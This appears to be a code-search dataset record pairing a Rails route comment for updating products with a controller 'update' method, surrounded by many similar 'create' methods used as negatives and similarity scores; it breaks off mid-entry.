[ "def create\n @product = Product.new(product_args)\n\n if @product.save\n render json: Product.all, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n if params[:products]\n params[:products].each do |product|\n @product = Product.new(name: product[:name],\n brand: product[:brand],\n model: product[:model],\n sku: product[:sku],\n price: product[:price],\n desc: product[:desc])\n if !@product.save\n render json: @product.errors.full_messages, status: 422\n end\n end\n render 'api/products/index'\n else\n @product = Product.new(product_params)\n if @product.save\n render 'api/products/show'\n else\n render json: @product.errors.full_messages, status: 422\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n @product = @collection.products.build(product_params)\n\n if @product.save\n render json: @product, status: :created#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n @product = Product.create!(product_params)\n json_response(@product, :created)\n end", "def create\n newProduct = Product.new(products_params)\n if newProduct.save\n msg = { status: 201 , product: newProduct }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n else\n msg = { status: 422 }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n\n product_details = params.permit(:title, :inventory_count, :price)\n success = Product.create(product_details)\n\n render json: { success: success }\n end", "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n product = Product.new(product_params)\n if product.save\n render json: ProductSerializer.new(product).serialized_json\n end\n end", "def create\n @product = Product.new(product_params)\n if @product.save\n render json: {id: @product.id}\n else\n render json: {msg: @product.errors.full_messages.first}, status: :unprocessable_entity\n end\n end", "def create\n @product = Product.create(product_params)\n if @product.save\n # Respond to html with a redirect and json\n respond_to do |format|\n format.html do\n flash[:notice] = 'Product added'\n redirect_to products_path\n end\n format.json do\n render json: product.to_json\n end\n end\n else\n # Respond to html with a redirect and json\n respond_to do |format|\n format.html do\n flash.now[:error] = 'Error adding product'\n render :new\n end\n format.json do\n render json: { errors: @product.errors.full_messages }, status: 422\n end\n end\n end\n end", "def create\n @product = Product.new(product_params)\n @product.user = current_api_v1_user\n respond_to do |format|\n if @product.save\n params[:product][:properties].try(:each) do |k,v|\n @product.product_properties.create(property: Property.find(k), value: v)\n end\n params[:product][:colors].try(:each) do |c|\n @product.colors.create(name: c[:name].downcase, code: c[:code])\n end\n params[:product][:photos].try(:each) do |c|\n @product.photos.create(image: c)\n end\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created}\n else\n format.html { render :new }\n format.json { render json: @product.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product,\n :notice=> 'Product was successfully created.' }\n format.json { render :json=> @product, :status=> :created,\n :location=> @product }\n else\n format.html { render :action=> \"new\" }\n format.json { render :json=> @product.errors,\n :status=> :unprocessable_entity }\n end\n end\n end", "def create\n if @product.save\n render :show, status: :created, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_path, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: t(:product_created) }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n return unless product_params\n render json: Product.create_product(\n @product_params,\n category_list,\n @current_user.id\n ).simple_info, status: :created\n rescue => e\n render json: { error: e }, status: :bad_request\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: products_url }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n respond_to do |format|\n if @product.save\n current_user.user_info.products.push @product\n Shopify.create @product\n format.html { redirect_to :action => 'index' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def send_product(product)\n request(product, \"product\", :post, {method: \"add\"})\n end", "def create\n @product = Product.new(product_params)\n \n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n @product.save\n set_products\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url, notice: \"Product was successfully created.\" }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n ActiveRecord::Base.transaction do\n begin\n @api_v1_product = Product.create!(api_v1_product_params)\n\n json_response @api_v1_product, :created\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n raise ActiveRecord::Rollback\n end\n end\n end", "def create\n\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product,\n notice: 'Product was successfully created.' }\n format.json { render :show, status: :created,\n location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors,\n status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: \"Product was successfully created.\" }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def addProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.new(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id], picture_list: '[]')\n status = p.save\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def create\n @product = Product.new(params[:product])\n\n if @product.save\n \n respond_with(@product, :location=>products_url)\n else\n respond_with(@product, :head=>:bad_request)\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product }\n format.js { render status: :ok }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n format.js { render status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(product)\n validate_type!(product)\n\n attributes = sanitize(product)\n _, _, root = @client.post(\"/products\", attributes)\n\n Product.new(root[:data])\n end", "def create\n # @order = Order.new() \n total = 0\n \n @order = Order.new()\n for product in params[:_json]\n \n if (product[:quantity].nil? || product[:quantity].to_f < 1 || !isint(product[:quantity]))\n # Handle case when order invalid quantity\n render json: \"\", status: :bad_request\n return\n end\n\n @product = Product.find_by_name_and_size_id(product[:product], product[:size]) \n if @product.nil?\n # Handle case when order invalid products\n render json: \"\", status: :not_found\n return\n end \n total = total + @product.price * product[:quantity].to_f \n @order.orders_products << OrdersProduct.new(:product => @product, :hot => product[:hot], :quantity => product[:quantity]) \n end \n\n @order.total = total\n\n if @order.save\n render json: @order, status: :created, location: @order\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end", "def create\n @product = Product.new(params[:product])\n @product.shop = Shop.find_by_uuid params[:shop_id]\n\n respond_to do |format|\n if @product.save!\n format.html { redirect_to shop_products_path(@product.shop.uuid), notice: 'Product was successfully created.' }\n format.json { render json: @product.to_json(:include => {:product_variants => {:include => [:option_types,:pictures]}})}\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @product = Product.new\n\n render json: @product\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Продукт успешно создан.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_product = Admin::Product.new(admin_product_params)\n\n respond_to do |format|\n if @admin_product.save\n format.html { redirect_to admin_products_url }\n format.json { render :show, status: :created, location: @admin_product }\n else\n format.html { render :new }\n format.json { render json: @admin_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: t('.message') }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to admin_products_url, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else # save fails due to validation error -> show errors\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = @person.products.build(params[:model])\n\n respond_to do |format|\n if @product.save\n format.json { render :json => @product, :status => :created}\n else\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Изделие успешно создано.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html {redirect_to @product, notice: 'Producto creado.'}\n format.json {render :show, status: :created, location: @product}\n\n else\n format.html {render :new}\n format.json {render json: @product.errors, status: :unprocessable_entity}\n end\n\n end\n end", "def create\n @add_product = AddProduct.new(params[:add_product])\n\n respond_to do |format|\n if @add_product.save\n format.html { redirect_to @add_product, notice: 'Add product was successfully created.' }\n format.json { render json: @add_product, status: :created, location: @add_product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @add_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product].merge :user_id => current_user.id)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to root_url, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_product\n @user = User.find_by(id: params['user'])\n products = params['products'].split(',')\n products.each do |product_id|\n @user.cart.products << Product.find_by(id: product_id)\n end \n render json: {data: @user.cart.products }\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7675459", "0.7591834", "0.75612974", "0.75322855", "0.75319254", "0.7508541", "0.74220365", "0.73919785", "0.7374981", "0.7356637", "0.73236746", "0.72879046", "0.71453404", "0.7051657", "0.7048709", "0.7043144", "0.70384234", "0.70384234", "0.70384234", "0.7033281", "0.7026596", "0.6993948", "0.69776917", "0.6955739", "0.6955739", "0.6955739", "0.6955739", "0.6955739", "0.6955739", "0.6955739", "0.6955739", "0.6955739", "0.6955739", "0.6955739", "0.6955739", "0.6945735", "0.69427574", "0.69381255", "0.6929583", "0.69288", "0.6927342", "0.6925936", "0.6898939", "0.68914497", "0.6890034", "0.6886042", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.6882744", "0.68821394", "0.68820155", "0.6876968", "0.6845991", "0.6842986", "0.68277574", "0.68270147", "0.6821687", "0.681186", "0.681186", "0.681186", "0.681186", "0.6802111", "0.67986727", "0.67812866", "0.67608225", "0.6742458", "0.6737484", "0.6736069", "0.67316276", "0.67149925", "0.6690061", "0.66859746", "0.66817397", "0.667631", "0.666267", "0.6660379" ]
0.0
-1
PATCH/PUT /products/1 PATCH/PUT /products/1.json
def update ActiveRecord::Base.transaction do respond_to do |format| if @product.update(product_params) ImpactLineItem.all.each do |impact_line_item| product_impact_line_item = @product.product_impact_line_items.find_by_impact_line_item_id(impact_line_item.id) Category.all.each do |category| impact_entry = product_impact_line_item.find_impact_entry(category) impact_entry.update( value: params[:impact_entry][impact_line_item.id.to_s][category.id.to_s]) end end format.html { redirect_to @product, notice: 'Product was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @product.errors, status: :unprocessable_entity } end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end", "def update\n if @product.update(product_params)\n render json: @product, status: :ok#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n updateProduct = Product.find_by_id(params[:id])\n updateProduct.update(products_params)\n if updateProduct != nil\n msg = { status: 200 , product: updateProduct }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n else\n msg = { status: 422 }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end\n end", "def update\n return unless product_params\n render json: @product.simple_info, status: :ok if @product.update!(@product_params)\n rescue => e\n render json: { error: e }, status: :ok\n end", "def update\n @product = Product.find(params[:id])\n\n if @product.update(product_params)\n head :no_content\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n if @product.update(product_params)\n render json: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n @product.assign_attributes object_params.reject{|_, v| v.blank?}\n # In a normal app we have a pre filled form of the object to update,\n # so when we do a PATCH (or PUT) we send all the attributes again,\n # in the API we permit to send any field to update, so we need to remove\n # all the 